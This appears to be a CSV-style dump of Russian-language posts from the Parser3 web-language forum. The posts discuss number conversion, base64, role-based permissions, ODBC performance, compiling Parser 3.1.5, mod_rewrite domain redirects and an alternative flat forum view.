из winhttp можно отправлять multipart/form-data - во всяком случае я так понял. Попробуем."
"47133","Большое спасибо за ответ. \
Пока пришел к решению - введение дополнительной таблицы - таблица моделей. Т.е. 2 таблицы формируют дерево, в третьей хранятся модели. \
Ваш вариант хороший - надо взять на заметку."
"47134","и думаю, что просматривать ветку для многих удобно в плоском виде без дерева\
\
to Misha v.3: может добавить кнопку открытия треда в новом окне в плоском виде, отступами показывая развитие ветки? и традиционный древовидный форум останется без изменений, и для многих удобнее просмотривать"
"47138","То-то и оно..."
"47139","1.\
[code]\
@bin2dec[b][i]\
$result(0)\
^for[i](0;^b.length[]-1){\
	$result($result + (^b.mid(^b.length[]-1-$i;1)<<$i) )\
}\
[/code]\
\
2. А это тот самый lib.p/@dec2bin[], о котором уже упоминали\
[code]\
@dec2bin[in][n]\
$n(32768)\
$result[^while($n>=1){^if($in & $n)(1;0)^n.div(2)}]\
[/code]"
"47141","Вот-вот. Сделал полчаса назад кое-что подобное. С числами 110110 работает нормально, а с числом 00101010000101110001100110110 результатом получается такая радость: 8.82696e+007. Что сделать, чтобы этой экспоненты не было? Чтобы получилось обычное десятичное длинное со многими цифрами число?"
"47142","я переосмыслил в это:\
[code]\
^file.base64[] encode\
^file::base64[encoded] decode\
\
^string.base64[] encode\
^string:base64[encoded] decode\
[/code]"
"47143","http://www.parser.ru/forum/?id=38802\
\
а то ведь при ^string:base64[пакость] ошибка будет вылетать..."
"47145","Берем двоичное число 101010000101110001100110110\
Перегоняем его в десятичное (BinToDec), получается число 88269622.\
Ставим его в DecToBin, получается 1110001100110110, хотя виндозный калькулятор выдает правильный ответ. Что-то в DecToBin из Lib не то."
"47146","Если вам нужно работать с таким огромными числами, то подправьте этот метод в библиотеке lib.p\
[code]\
@dec2bin[in][n]\
$n(536870911)\
$result[^while($n>=1){^if($in & $n)(1;0)^n.div(2)}]\
[/code]\
\
P.S.\
Если ваш набор прав расширится, то для использования метода необходимо будет соотвутственно изменить переменную $n.\
А вообще, желательно, испольлзуйте подход, который [url=\"http://www.parser.ru/forum/?id=47126\"]описывает PAF[/url]."
"47147","[quote]Не отношу себя к большим любителям древовидных форумов, по сему, сделал удобное мне представление материалов[/quote]\
\
На родном форуме Парсера часто встречаются \"высокоразветвленные\" треды с большим количеством участников. В дереве заголовков четко видно кто и когда принимал участие в обсуждении, кто кому что сказал/спросил/ответил.\
\
Читать такое общение в НЕдеревовидном треде -- страшно неприятная вещь. Особенно если присоединяешся к общению не сразу. Иерархия диалога между участниками просматривается далеко не сразу. И это очень плохо.\
\
Вот, например, недавние треды: 46991, 46780, 45864. К сожалению это не самые удачные примеры (нет времени искать), т.к. треды бывают и побольше этих. Попробуйте их прочитать на своей версии форума."
"47148","мне непонятно.\
разве что для отладки?"
"47150","так и задумывалось, что при ошибке отправки письма\
[code]<p>Сожалеем, но при отправке письма возникла неизвестная ошибка.</p>[/code]\
показывается только, если не сработает:\
[code]$response:location[http://^taint[as-is][${env:SERVER_NAME}$request:uri]^if(^request:uri.pos[?]>=0){&}{?}action=done][/code]\
?"
"47151","... то наверное это комуто так надо.\
Я ведь это не писал.\
Я просто бездумно скопировал из lib.p"
"47153","Нужно сделать систему, которая проверяя, разрешено ли исполнение конкретного действия пользователю или нет, соответственно исполняет его или нет. Это называется - роли.\
Вообще я себе это так представляю.\
Есть какой-то большой набор действий:\
1. Добавить товар\
2. Просмотреть товар\
3. Удалить товар\
4. Положить в корзину\
5. Создать категорию\
6. Переименовать категорию\
7. Изменить информацию о товаре\
8. Удалить категорию\
9. Посмотреть статистику\
...\
...\
...\
58. Создать пользователя\
(их может быть хоть 300)\
\
Создается роль \"Главный администратор\", которому разрешается:\
58. Создать пользователя\
57. Редактировать пользователя\
56. Создать группу пользователей\
(допустим, хватит)\
\
Первому пользователю присваивается роль \"Главный администратор\". Он создает все категории, пользователей и группы пользователей. Еще может создавать роли методом проставления галочек напротив нужных доступов (эти 58 пукнтиков). \
Например, главный администратор создает роль \"Менеджер\", который может:\
1. Добавить товар\
2. Просмотреть товар\
3. Удалить товар\
7. Изменить информацию о товаре\
Потом создает штук двадцать менеджеров, и чтобы каждому не тыкать галочки, он каждому просто указывает роль \"Менеджер\". Эти двадцать человек могут работать с товарами.\
\
Потом создает группу \"Покупатели\". Там проставляет:\
2. Просмотреть товар\
4. Положить в корзину\
\
И т.д. Т.е. создаются так называемы группы доступа для каждого типа зарегистрированных пользователей.\
Количество доступов (пунктиков с цифрами) может меняться со временем. \
Например, нам приспичило создать \"Младшего менеджера\", который не может делать пункт 3 (удалить товар), присваиваем ему соответствующую роль и все. В процессе работы программа сверяет есть ли у пользователя право исполнять соответствующий пунктик (например, пункт 38) или нет. Если нет  - не дает. Если есть - дает.\
\
Лично я себе пока так это представляю. Если у кого есть другие предложения - объясните, пожалуйста. \
\
ПС: метод, который описал PAF (http://www.parser.ru/forum/?id=47126), я просто не понял. Недорос еще."
"47155","1)\
Есть три таблицы:\
G (город) [gor idgor]\
O (область) [obl idobl]\
R (регион) [reg idreg]\
\
строк в таблицах не более 30. Таблицы храняться в памяти после sql-запроса.\
\
Из этих таблиц формирую одну сводную таблицу:\
[code]\
$ZaprosReggor[^table::create{gor	idgor\
^for[RC]($RC0;$RC1){\
^R.menu{^if($R.idreg==$RC){$R.reg	$RC}}\
^for[OC]($OC0;$OC1){\
^O.menu{^if($RC==$O.idreg && $OC==$O.idobl){----$O.obl	$OC}}\
^for[GC]($GC0;$GC1){\
^G.menu{^if($RC==$G.idreg && $OC==$G.idobl && $GC==$G.idgor){--------$G.gor	$GC}}\
}\
}\
}\
}\
]\
[/code]\
\
Проблема в том, что на формирование этой таблицы на сервере уходит 500 мс времени.\
Хостер ругается.\
Подскажите как лучше оптимизировать?\
\
2)\
Формирую таблицу $R (Регион) с помощью запроса к БД MS Access\
[code]\
$connect_string2[odbc://Driver={Microsoft Access Driver (*.mdb)}^;Dbq=d:/web/1gb.ru/hosted/.../baza.mdb]\
\
@connectMSA[code]\
^connect[$connect_string2]{$code}\
\
^MAIN:connectMSA{\
$R[^table::sql{select DISTINCT reg, idreg\
	from ZaprosReggor\
	order by idreg\
}]\
}\
[/code]\
На формирование этой таблицы на сервере уходит 200 мс времени.\
Убирал DISTINCT, order by idreg время не меняеться.\
Проблема таже слишком долго идет процесс.\
\
\
Вообще все эти проблемы начались на хостинге 1gb.ru\
Хороший хостинг: стабильно и удобно.\
Но вот на счет Parser'a у них совсем плохое мнение: \"мертвая технология для виртуального хостинга\"\
Не хочется так думать, после полугода программирования и создания большого сайта.\
Надеюсь проблема только в моем не умении программировать, а не в самой технологии."
"47157","Таблица в которой по порядку будет:\
Регион 1\
Область 1.1\
Город 1.1.1\
Город 1.1.2\
Город 1.1.3\
Область 1.2\
\
и т.д."
"47158","сделал ровно, как предлагаете.\
предлагавшийся мной вариант, при имеющихся обстоятельствах — хуже."
"47159","Вам нужно изменить структуру таблиц городов и областей, т.к. они НЕ содержат необходимой информации. А именно,\
\
- в таблицу городов надо добавить номер обласи, в котором находится город\
- в таблицу областей надо добавить номер региона, в которой находится облась.\
\
Когда у вас будут полноценные таблицы городов и областей, вы сможете построить необходимую вам таблицу значительно (!) быстрее.\
\
Удачи."
"47160","Какие-либо библиотеки может изменились со времени 3.1.4? 3.1.4 - без проблем."
"47161","(попробуйте сейчас)\
если не получится, напишите подробнее.."
"47162","[code]\
@days_per_month[month;year]\
^if($month%2 !|| $month\\8){\
	$result(31)\
}{\
	^if($month == 2){\
		$result(28 | ^is_leap_year($year))\
	}{\
    		$result(30)\
	}\
}\
[/code]\
\
или вообще одим методом:\
\
[code]\
@days_per_month[month;year]\
^if($month%2 !|| $month\\8){\
	$result(31)\
}{\
	^if($month == 2){\
		$result(28 | (($year&3) == 0 && ($year%100!=0 || $year%400==0)))\
	}{\
    		$result(30)\
	}\
}\
[/code]"
"47163","Не стоит забывать некоторые вещи никогда :)\
РНР очень полезен. Он, иногда, весьма дополняет Парсер."
"47164","Разве я кого на что агитирую?\
Не нравится древоидное представление - на здоровье, нравится - дело ваше.\
\
Не надо мне рассказывать про достоинства того или другого, я это и так знаю.\
\
Это удобно ЛИЧНО МНЕ.\
Если это удобно ещё кому-то - милости просим, пользуйтесь."
"47165","Здесь - пишите.\
Там - есть возможность посмотреть по-другому, сохранить, распечать.\
\
Это не конкурент данного форума.\
Это - [b]альтернативное представление[/b] имеющейся информации."
"47166","[code]\
./configure --with-static-gc=$HOME/gc/lib --prefix=$HOME/p3 --with-dynamic-stdcpp --with-static-xml=$HOME/gnome (с XML)\
\
make\
make install\
strip parser3\
mv parser3 parser3.cgi\
\
Всё.\
[/code]\
\
Просто без сучка и задоринки! Тесты из _test.html пройдены успешно. Буду кропать файл-менеджер.\
\
Откликается он, кстати, пока как 3.1.4 версия.\
\
Спасибо!\
\
ЗЫ. Что такое ферментация? В бытность моей работы агрономом я конечно помню этот термин, но применительно к программированию ещё не встречал :/"
"47167","Извините если обидел.\
\
Я просто высказал своё мнение, т.к. вы милости пригласили ВСЕХ на свой форум.\
\
Это же ваши слова:\
[quote]\
Обо всех ошибках, недоработках глюках и косяках большая просьба сообщать в эту ветку[/quote]\
\
Или вот:\
[quote]\
Милости прошу: http://parser.groundzero.ru/\
[/quote]\
\
Или Вы принимаете только положительные отзывы?"
"47168","Очень надо! с XML."
"47169","да уж, сборочка вышла не то чтобы тривиальной:) и определенно авторы садисты не включают эту инфу в официальные документы!"
"47170","Обид никаких нет.\
\
Я приглашаю всех.\
Как я могу кого-то отсеивать?..\
\
Принимается критика по делу.\
Как то: работа, функции, оформление.\
\
Идеологические споры мне неинтересны."
"47171","Может проблема в драйвере на сервере?\
\
Кто-нибудь может сказать сколько времени должно уходить на выборку из таблицы БД 20000 строк и сохранение их таблицу, в память. Соединение P3 c MSA через ODBC. Строка соединения как в документации."
"47173","Да, так действительно быстрее (где-то на 30%)\
[code]\
@days_per_month[month;year]\
^if($month%2 !|| $month\\8){\
$result(31)\
}{\
^if($month == 2){\
$result(28 | (($year&3) == 0 && ($year%100!=0 || $year%400==0)))\
}{\
    $result(30)\
}\
}\
[/code]"
"47174","что на простой select уходит 200ms через ODBC к .mdb, это абсолютно нормально, даже быстро работает.\
\
(если у кого сомнения, пусть попробует любым другим инструментом достать, замерить время).\
\
задумайтесь, как часто меняется список [b]регионов[/b]?\
правильно, не чаще раза в год.\
поэтому вам ничто не мешает сохранить результат запроса в файл, и следующий год считывать этот файл с диска, это будет существенно быстрее.\
можете сделать сами (одна проверка и привет), а можете взять готовое удобное решение:\
http://www.parser.ru/examples/comp/ << архив с кодом внизу\
\
что касается ^for{^for{^for\
тут два момента:\
1. почему это не сделано SQL запросом?\
2. в любом случае, если та информация не меняется чаще, чем раз в полчаса, тоже можно закэшировать нафиг.\
\
что касается обновлений:\
1. раз .mdb у вас лежит у провайдера, значит вы знаете, как часто он обновляется.\
давайте задумаемся, если дата обновления этого файла: прошедший четверг, стоит ли в него вообще заглядывать?\
2. если вы обновляете базу сами, вы можете при обновлении просто стирать файлы с результатами запросов, отсутствие готовых результатов будет флажком «что-то поменялось, нужно считать заново»."
"47175","выпускаю на этой неделе, макс на следующей.\
\
[code]\
[paf@six] ~/parser3install-3.1.5b/bin> ./parser3\
./parser3: file not specified\
Parser/3.1.5beta (compiled on i386-pc-solaris2.8)\
Copyright(c) 2001-2005 ArtLebedev Group (http://www.artlebedev.com)\
Author: Alexandr Petrosian <paf@design.ru> (http://paf.design.ru)\
\
Usage: ./parser3 [options] file\
Options are:\
    -m              Parse mail, put received letter to $mail:received\
    -f config_file  Use this config file (/path/to/auto.p)\
    -h              Display usage information (this message)\
[paf@six] ~/parser3install-3.1.5b/bin>\
[/code]"
"47176","[quote]\
4. Detoxification during food fermentation processing\
5. A decrease in cooking times and fuel requirements\
[/quote]"
"47177","сейчас вписал -lstdc++ в команды компоновки sql драйверов, посмотрим, как это будет собираться на наших машинах. возможно, так и оставим.\
\
люди пишут, что это помогает и другой проблеме (__gxx_personality_v0):\
http://gcc.gnu.org/ml/gcc/2003-01/msg01716.html\
пользователь parser пишет(private), что этим способом он починил проблему пресловутой personality."
"47178","3.1.4 скомпилил. Сейчас сижу разбираюсь.\
\
3.1.5 не собирается - требует automake 1.7., а у меня 1.6 только на машине. Сейчас буду обновляться у себя для начала."
"47180","это мелкая мелочь, связанная с датами файлов в cvs.\
\
сделайте \
[code]\
find . -name Makefile.in -exec touch {} \\;\
[/code]\
\
и всё соберётся.\
\
ведь automake нужен для создания Makefile.in файлов, а они у вас есть. просто какой-то Makefile.am получился новее Makefile.in и потому к вам пристаёт.\
\
\
почему такая ерунда: файлы на диске имеют правильные даты, но когда они кладутся в CVS, они туда попадают в космическом порядке: вполне может статься, что .am будет новее .in, и система захочет .in из .am пересобрать.\
если кто растолкует мне, как это по уму делать, сделаю :)"
"47181","Вот:\
[code]\
@days_per_month[m;y]\
^if($m==2){\
	$result(28|(($y&3)==0 && ($y%100!=0 || $y%400==0)))\
}{\
	$result(30|($m&1 !|| $m&8))\
}[/code]\
\
\
и мне кажется, что это еще не предел"
"47183","А не подскажите структуру  таблицы 2: Дерево категорий."
"47184","это\
[code]\
^if($y%100!=0)\
[/code]\
эквивалентно этому\
[code]\
^if($y%100)\
[/code]\
..."
"47185","Возможно не так поставил вопрос.\
Насчёт преобразования русских букв в UTF-8 проблем нет. Знал до этого...\
Просто вопрос в том, как с помощью $form:query получить русские буквы. \
С помощью ^untaint[uri]{$form:query} я получю UTF-8.\
Потом придётся UTF-8 конвертировать в cp1251 (windows-1251)... Но для этого, я так понимаю, нужно таблицу преобразований?\
\
Про вариант с <form ... method=\"post> тоже не проблема. НО интересно разобраться в выше написанным."
"47186","...пока я занимался этой \"ерундой\", я многое узнал."
"47187","Поздно, я обновился уже :)\
\
Итого: все собралось. Версия \"Parser/3.1.5beta (compiled on i686-pc-linux-gnu)\". Никаких проблем с MySQL драйвером не возникло на этот раз.\
\
[code]\
$_f[^file::load[text;f1]]\
^_f.save[text;f2]\
\
$_f[^file::load[binary;f2]]\
^_f.save[binary;f3]\
[/code]\
- это все работает без проблем. При записи в режиме binary файлов нулевой длины ничего никуда не вылетает\
\
[code]\
$t[^file:list[/]]\
^t.save[tabl]\
[/code]\
- это выдает в том числе и листинг \"безымянных\" файлов вида .ht*. Можно убирать кучу всяких проверок из операция записи/копирования и делать красивый файл-менеджер.\
\
Ещё раз: огромное спасибо, Александр!\
\
ЗЫ. Бинарники выложил на http://www.opensea.tv/parser3/\
\
ЗЫЫ. Кто бы мне помог собрать бинарник 3.1.5 с XML для WinXP? Отлаживаюсь на локальной машине, но у меня нет на ней компиляторов, а устанавливать для одной сборки очень не хочется :/"
"47188","Парсер я знаю очень посредственно, поэтому такие \"оптимизации\" помогают лучше в нем разобраться.\
\
Ну и... вдруг кто-то будет искать решение этой задачи? :)\
\
[code]\
@days_per_month[m;y]\
^if($m==2){\
	$result(28|(($y&3)==0 && ($y%100 || $y%400==0)))\
}{\
	$result(30|($m&1 !|| $m&8))\
}\
[/code]"
"47189","в первую очередь код должен быть читаемым и прозрачным. \
\
соответственно полезнее тратить время (свое, а не машинное) на другое."
"47190","Parser перекодирует запросы нормально, см. документацию.\
суть проблемы изложена невнятно.\
\
выстрел в темноту: единственное место, где кто-то когда-то что-то такое хотел, это люди хотели разобрать $env:HTTP_REFERER на тему google.ru/?...=поисковый_запрос\
тут parser не помощник.\
\
я намеренно не делал функций перекодирования, см. форум, подробно рассказывал."
"47191","но в данном случае, лично мне это было полезно с точки зрения изучения парсера, в частности, его синтаксиса.\
\
Касательно читаемости - имхо, для таких методов/функций etc, необходимы нормальные комментарии, которые компенсируют неочевидность некоторых решений/операций.\
\
P.S. На ваш взгляд, на какой из промежуточных вариантов [i]уже[/i] быстро работает, но [i]еще[/i] нормально читается?"
"47193","МОЛОДЕЦ! Именно о plain форуме я и говорил! читать - очень удобно! единственное - ссылочки на \"антологический путь\" заголовке каждого сообщения сделать бы меннее цепляющим внимание и чтобы текст сообщения и автор доминировали по цветовой гамме!\
единственно чего не хватает - кнопочки ответить! обидно - хотел реплай оставить и некак! - приходится второе окно держать открытым - с древовидным форумом...\
продумай - у тебя получится!"
"47194","http://www.parser.ru/forum/?id=47175\
первое предложение."
"47195","можно попробовать структуру hybrid mode использованную vBulletin\
Пример можно посмотреть на forums.linkinpark.com\
там можно выбрать способ просмотра тредов"
"47197","приколно было бы вверху вместо ссылок на страницы (когда находишься внутри треда) ставить что-то вроде ALTforum(подчеркнутый)>название)треда и сделать где-то 30 постов на странице и уже вверху показывать сколько страниц занимает сей тред а не страницы всего форума. а пока вроде ничего нового"
"47198","касательно hybrid mode \
можно выберать тред родитель и показывать сообщения в данной ветке\
[code]\
main\
 re1\
  re\
   re\
    re\
     message\
      re\
       re\
  re2\
   re\
   msg2\
  re\
[/code]\
\
если кликнуть на message то отобразится:\
[code]\
main\
 re1\
  re\
   re\
    re\
     message\
      re\
       re\
[/code]\
если кликнуть на msg2 то отобразится:\
[code]\
main\
 re1\
  re2\
   msg2\
[/code]\
\
очень удобно - идея threaded остается\
вверху или внизу можно поместьть табличку со скроллом 500х300, где будет содержаться дерево"
"47199","пользователю предоставляется форма для добавления информации в БД если длина поля небольшая, то все нормально работает, а если вводится очень длиный текс, то выходит ошибка \
\
Request-URI Too Large\
\
The requested URL's length exceeds the capacity limit for this server.\
\
Что делать? Как обойти?"
"47201","метод не указан, просто <FORM NAME=\"form\" action=\"\">"
"47202","Как правило, конкретное ограничение зависит от настроек веб-сервера/браузера."
"47204","Точно, заработало. Спасибо."
"47205","Прошу прощения.\
1. Не так поставил вопрос.\
2. Не внимательно прочитал ваш [url=\"http://www.parser.ru/forum/?id=47042\"]ответ[/url]."
"47206","...Не все ещё успели посмотреть. ;-)\
\
Вот, что случайно откопал о Imprimatur'е:\
http://www.livejournal.com/users/striimii/10827.html\
http://www.livejournal.com/users/striimii/19241.html\
http://www.livejournal.com/users/striimii/19694.html\
http://www.livejournal.com/community/ru_seo/158030.html"
"47207","Лично я вижу так:\
[code]\
^try{\
	^mail:send[\
		...\
	]\
}{\
	$exception.handled(1)\
	<p>Сожалеем, но ...</p>\
}\
...\
$response:location[...]\
[/code]"
"47208","Проше прощения за пост не по теме.\
\
Есть задача. На один сайт ссылается два домена\
site.com\
site.ru\
\
Есть ли возможность средствами mod_rewrite перебрасывать посетителя на www.site.com если он заходит на site.com и\
на www.site.ru если он заходит на site.ru\
\
Вариант, чтобы при наборе site.com перебрасывало на www.site.com работает. \
[code]\
RewriteEngine on\
RewriteBase /\
RewriteCond %{HTTP_HOST} !^www\\.site\\.com$ [NC]\
RewriteRule ^(.*)$ http://www.site.com/$1 [NS,R,L]\
[/code]\
Но если с такой настройкой заходим на www.site.ru или site.ru, то перебрасывает на www.site.com, что категорически не требуется."
"47209","И симметричную конструкцию сделайте для .ru."
"47210","мужик, наконец, пришёл, к чему стремился:\
http://www.livejournal.com/users/striimii/17210.html\
\
однако мы не первые, кем он не доволен:\
http://www.livejournal.com/users/striimii/16476.html\
и, очевидно, не последние.\
что симптоматично: на ответ ему чувака от имени Ашанова, ответа НИКАКОГО нет.\
\
выводы:\
1. мужик не участвовал в разработке Т.З. и/или подписывал его не читая.\
2. мужик не сообщил нам о проблемах.\
3. мужик считает, что может сделать сильно лучше, чем мы и в три раза дешевле.\
\
диагноз:\
сделайте сами."
"47211","А можно просто сделать два правила:\
1. Если хост = site.ru -> www.site.ru\
2. Если хост = site.com -> www.site.com"
"47212","http://www.uatsap.com/en/rss/manual/6\
http://blogs.law.harvard.edu/tech/rss\
http://www.w3schools.com/rss/default.asp"
"47213","А нельзя сделать к форуму подраздел для OT? Или пометки специальные для оффтоп-сообщений, чтобы их можно было прятать. Потому что не всегда есть возможность, желание или смысл задавать вопросы где-то в других форумах. А здесь кто-то не прочь будет ответить на вопросы не по Парсеру. А с другой стороны ОТ - это непорядок."
"47214","Но добавление конструкции\
[code]\
RewriteCond %{HTTP_HOST} !^www\\.site\\.ru$ [NC]\
RewriteRule ^(.*)$ http://www.site.ru/$1 [NS,R,L]\
[/code]\
\
приводит к тому, что мы постоянно (до потери пульса) \"бегаем\" между\
www.site.ru и www.site.com"
"47217","[code]\
RewriteEngine on\
RewriteBase /\
RewriteCond %{HTTP_HOST} !^www\\.site\\.ru$ [NC]\
RewriteRule ^(.*)$ http://www.site.ru/$1 [NS,R,L]\
RewriteCond %{HTTP_HOST} !^www\\.site\\.com$ [NC]\
RewriteRule ^(.*)$ http://www.site.com/$1 [NS,R,L]\
[/code]\
\
Такая же вигня"
"47219","он не удосужился прочитать документацию, т.к. кое что из того, что он описывает не совсем соотвествует действительности.\
\
некоторые из его утверждений я вообще подвергаю сомнению, т.к. imho этого не может быть в принципе: \
1. 5 сек на страницу - гон, ибо когда у кого-то доходило до 1.5 секунды меня сажали оптимизировать, реальная цифра - 0.6-0.8 сек, из кеша - меньше 0.3 (говорю про наши хостинги)\
\
2. новости... у них вводится дата время с точностью _до_минуты). если он ввел три новости за минуту (ввод новости подразумевает не бездумный copy/paste из Word, а представление того как текст лучше разбить по абзацам, типографленье и т.д.) то возможна ситуация что они покажутся в неверном порядке, но... даже если это и произошло, по моему изменить время новости которая должна быть вверху на 1 минуту мне кажется не криминал. ну по крайней мере не такой криминал как преподносится. а то что новости показываются не в порядке увеличения id - так это вообще норма, ибо для этих целей существует дата.\
\
3. поиск: ни разу не видел описываемых симптомов и даже не представляю как такое может быть, ибо в системе просто запускается скрипт яндекса, которому отдается поисковая строка. он возвращает xml с результатами. чтобы он один раз вернул результаты, а другой раз нет - нонсенс. хотя... может он запустил его первый раз позавчера, когда сайт был только установлен и ещё не проиндексирован яндексом, а второй раз - сегодня. тогда согласен,  проблема есть и она ужасна.\
\
4. система кеширования. да, кнопка \"очистить все\" есть, но я не знаю зачем он её пользуется. для тех, кто поддерживает сайт кеширование выключено. когда он идет проверять написаную им новость то кеш просматриваемой им страницы сбрасывается. более того как многие знают из описания engine можно задать время кеширования для отдельных страниц, или выключить вообще нафиг. ну а если он не в курсе и жмет по делу и без дела эту педаль то конечно в наличии явная недоработка. спроектированный нами интервейс недостаточно ясен и прозречен. буду думать над тем, чтобы кнопку убрать :)\
\
5. \"еще всякие встроенные типографы\" - типорафики на лету не было и нет. есть педальки \"типографить\" рядом с каждой textarea. работает без перезагрузки страницы. в БД уже все оттипографленое.\
\
6. \"всякие мелочи по теме usability (курсор сам прыгает постоянно вверх окна ввода)\". в ТЗ/документации явно прописаны требования к броузерам. в них он _сам_ не прыгает.\
\
я не вступаю в дискуссии с \"критиком\" для кого важен сам процесс спора/обсирания, а не результат. критика клиентов по делу только приветствуется и в случае недоработов правки делаются.\
\
P.S. а вообще я воспринял это как похвалу, ибо так мало багов в не такой уж маленькой системе редко кто находит, и если это самые страшные из них - завтра буду праздновать и нажрусь :)"
"47220","Так работает\
\
[code]\
RewriteEngine on\
RewriteBase /\
\
RewriteCond %{HTTP_HOST} ^site\\.com$ [NC]\
RewriteRule ^(.*)$ http://www.site.com/$1 [NS,R,L]\
\
RewriteCond %{HTTP_HOST} ^site\\.ru$ [NC]\
RewriteRule ^(.*)$ http://www.site.ru/$1 [NS,R,L]\
[/code]\
\
Спасибо!"
"47222","имеется строка вида C1:xx;\
где xx - либо цифра, либо пробел\
надо это xx получить в переменную...\
пробую split - че-то ошибки одна за одной в синтаксисе - толи ':' не хочет понимать, толи у меня руки не достаточно заточены...\
а ведь на вид очень несложная задачка...\
кто решал или с листа решает такие \"проблемы\" - поверните голову в нужном направлении, если не сложно.."
"47223","самый на мой взгляд удобный \
http://www.spearance.ru/parser3/lrstring/"
"47224","[quote]ссылочки на \"антологический путь\" заголовке каждого сообщения сделать бы меннее цепляющим внимание[/quote]\
\
Что за путь?.. Не понял.\
\"www.parser.ru >\" чтоли?\
\
\
[quote]чтобы текст сообщения и автор доминировали по цветовой гамме![/quote]\
\
Это как? Красным по зелёному?...\
\
Гамму - вообще не трогаю.\
Все приоритеты расставлены кеглем.\
\
[quote]единственно чего не хватает - кнопочки ответить![/quote]\
\
Есть ссылка \"ответить >\" у каждого поста.\
По другому делать - не вижу смысла, ибо если сделать просто поле для ответа, то народ начнёт фигачить ответы не на конкретные посты, а просто в добавление к ветке.\
Тогда в оригинальном форуме начнёться жопа, т.к. деревья останутся, а смысл - уйдёт.\
Миша не раз писал, что категорически против добавления ответов из plain представления.\
Я с ним согласен.\
\
Возможно, когда-нибудь ответ будет, но пока оставлю как есть - переход в оригинальный форум и ответ там.\
\
[quote]можно попробовать структуру hybrid mode использованную vBulletin[/quote]\
\
Против. Потому как это - смесь бульдога с носорогом.\
Уж или деревья, или простыни.\
А простыни на деревьях - это перебор.\
\
Я понимаю дискуссию у разветвлённых веток, если уж совсем неясно что за пост и в ответ на что написан - есть ссылки на родителя, кликаешь – переходишь к родительскому сообщению.\
\
[quote]приколно было бы вверху вместо ссылок на страницы (когда находишься внутри треда) ставить что-то вроде ALTforum(подчеркнутый)>название)треда и сделать где-то 30 постов на странице и уже вверху показывать сколько страниц занимает сей тред а не страницы всего форума. а пока вроде ничего нового[/quote]\
\
Какой смысл выводить градусники навигации, если форум - один, а ветка - всегда текущая?\
Количество постов можно выставить в удобное количество, см. Настройки.\
\
\"Показывать сколько страниц занимает тред\" - это вывод ссылок на страницы ветки, если их несколько.\
\
Показываю ссылки на страницы форума, т.к. так удобней переходить ещё куда-то после прочтения ветки.\
Хочешь - обратно на ветку форума, с которой пришёл читать данную ветку, хочешь на следующую, если ту ужё просмотрел и инетересного ничего не нашёл."
"47225","Нужен визуальный редактор для редактирования поля, которое потом засылается в БД. Короче нужно что бы пользователь редактировал текст как в word-е и потом этот текст в html идет в БД."
"47227","Может трава у человека кончилась внезапно (так бывает), а Вы тут \"суть\" комментировать пытаетесь. Критика может иметь место, нет предела совершенству!, но критика и мат-перемат - не совместимы.\
\
Все жалобы на Билла Г. пишутся в Ворде, под ОС WinXP. Ну или, на крайняк, под W98. Такова жизнь..."
"47229","Я сделал вложенное меню, наверняка оно покажется убогим и не универсальным, но возникли проблемы, и хотелось бы понять, в чем суть.\
\
По сути, вложенное меню должно выглядеть так:\
Пункт 1\
	Подпункт 1\
	Подпункт 2\
	Подпункт 3\
Пункт 2\
Пункт 3\
\
А при процессе построения меню тем образом, которым я воспользовался, получается так:\
\
Подпункт 2\
Подпункт 3\
Пункт 1\
	Подпункт 1\
Пункт 2\
Пункт 3\
\
Пожалуйста, помогите понять, в чем я допустил ошибку.\
\
Привожу исходные тексты:\
\
Исполняемый файл\
$sections[^table::load[/sections.cfg]] \
$sub_section[^table::load[/sub_section.cfg]] \
   ^sections.menu{ \
      ^navigation_cell[] \
   } \
\
@navigation_cell[] \
$sections.name\
\
^sub_section.menu{ \
^if($sections.sub_section eq '1'){ \
	^if($sections.section_id eq $sub_section.section_id){ \
<a href=\"$sub_section.uri\">$sub_section.name</a><br>\
</tr>\
				}\
		}{\
		}\
}\
\
[b]section.cfg[/b]\
section_id	name	uri	sub_section\
1	section1	/1/	1\
2	section2	/1/	0\
3	section3	/1/	0\
\
[b]sub_section.cfg[/b]\
section_id	name	uri\
1	1.1	/1.1/\
1	1.2	/1.2/\
1	1.3	/1.3/\
2	2.1	/2.1/"
"47231","Есть таблица tab-delimited.\
В одном из столбов таблицы находится длинная строчка, которую необходимо разбивать на две.\
Т.е \
$text.s=Вася купается в реке\
Необходимо получить: $text=Вася купается</br>в реке\
\
Чтобы не заморачиватся, я поставила два пробела, где мне необходимо осуществлять перенос и\
воспользовалась:\
$text.s[Вася купается в реке]\
$rep[^table::create{from to\
  	</br>}]\
^text.s.replace[$rep]\
На выходе я получила желанное разбитие строк.\
Т.е. Вася купается</br>в реке\
Может кто-нибудь подскажет более красивое решение?\
Я понимаю, что каким-то образом мне надо определять второй пробел в строке с помощью регулярного выражения,\
но не представляю как это сделать вообще.\
И как теперь мне уже исправленную строчку загнать в таблицу, в формате tab-delimited?"
"47232","лучше хранить в базе уже обработанную строку\
[i]Вася купается<br/>в реке[/i]\
и делать \
^form:text.replace[$rep]\
перед отправкой в базу воспользовавшись таблицей\
[code]\
$rep[^table::create{from   to\
^#0A   <br/>}][/code]\
т.е. все переводы строк которые набираются в <textarea></textarea> заменятся на <br/>\
тогда при выборе данных из базы не будет лишней заморочки с преобразованиями"
"47233","Мне все-таки нужно чтобы это была таблица"
"47234","пускай таблица, донные в базу как отправляете?\
сделайте замену до отправки, а не привыборе"
"47235","А если понадобится пятый пробел заменить на перевод строки, а потом десятый?\
Будете править код?\
загоняйте в таблицу уже отформатированный текст"
"47236","Ок, может я просто не с того начала.\
Опишу подробней, на каком этапе я получаю это извращение.\
При создании меню -мне необходимо работать со строками,которые как правило состоят из 4-5 слов.\
Для красоты менюшки приходится форматировать строчку.\
В этом случае, Сергей, Вы по прежнему советуете брать таблицу из базы?"
"47237","таблица хранится в базе или в файле, при создании меню вы хотите получить более красивое отображение этого меню у посетителя, правильно?\
а если в этом меню первое слово длинное и понадобится сделать перенос на первом побеле или три коротки слова и третий пробел захотите заменить на перевод строки, что тогда делать?"
"47238","что удобней и проще, создават механизм подсчёта пробелов или знаков потом расчитывать какой пробел заменять или просто отдать посетителю уже готовый формат, тем более если эта таблица хранится в текстовом файте где нельзя сохранить перевод строки в чистом виде, кроме как только в ХТМЛ тегах."
"47239","только вот [code]</tr>[/code] там явно не нужно.\
[code]\
$sections[^table::create{section_id	name	uri	sub_section\
1	section1	/1/	1\
2	section2	/1/	0\
3	section3	/1/	0}]\
\
$sub_section[^table::create{section_id	name	uri\
1	1.1	/1.1/\
1	1.2	/1.2/\
1	1.3	/1.3/\
2	2.1	/2.1/}]\
\
^sections.menu{\
	^navigation_cell[]\
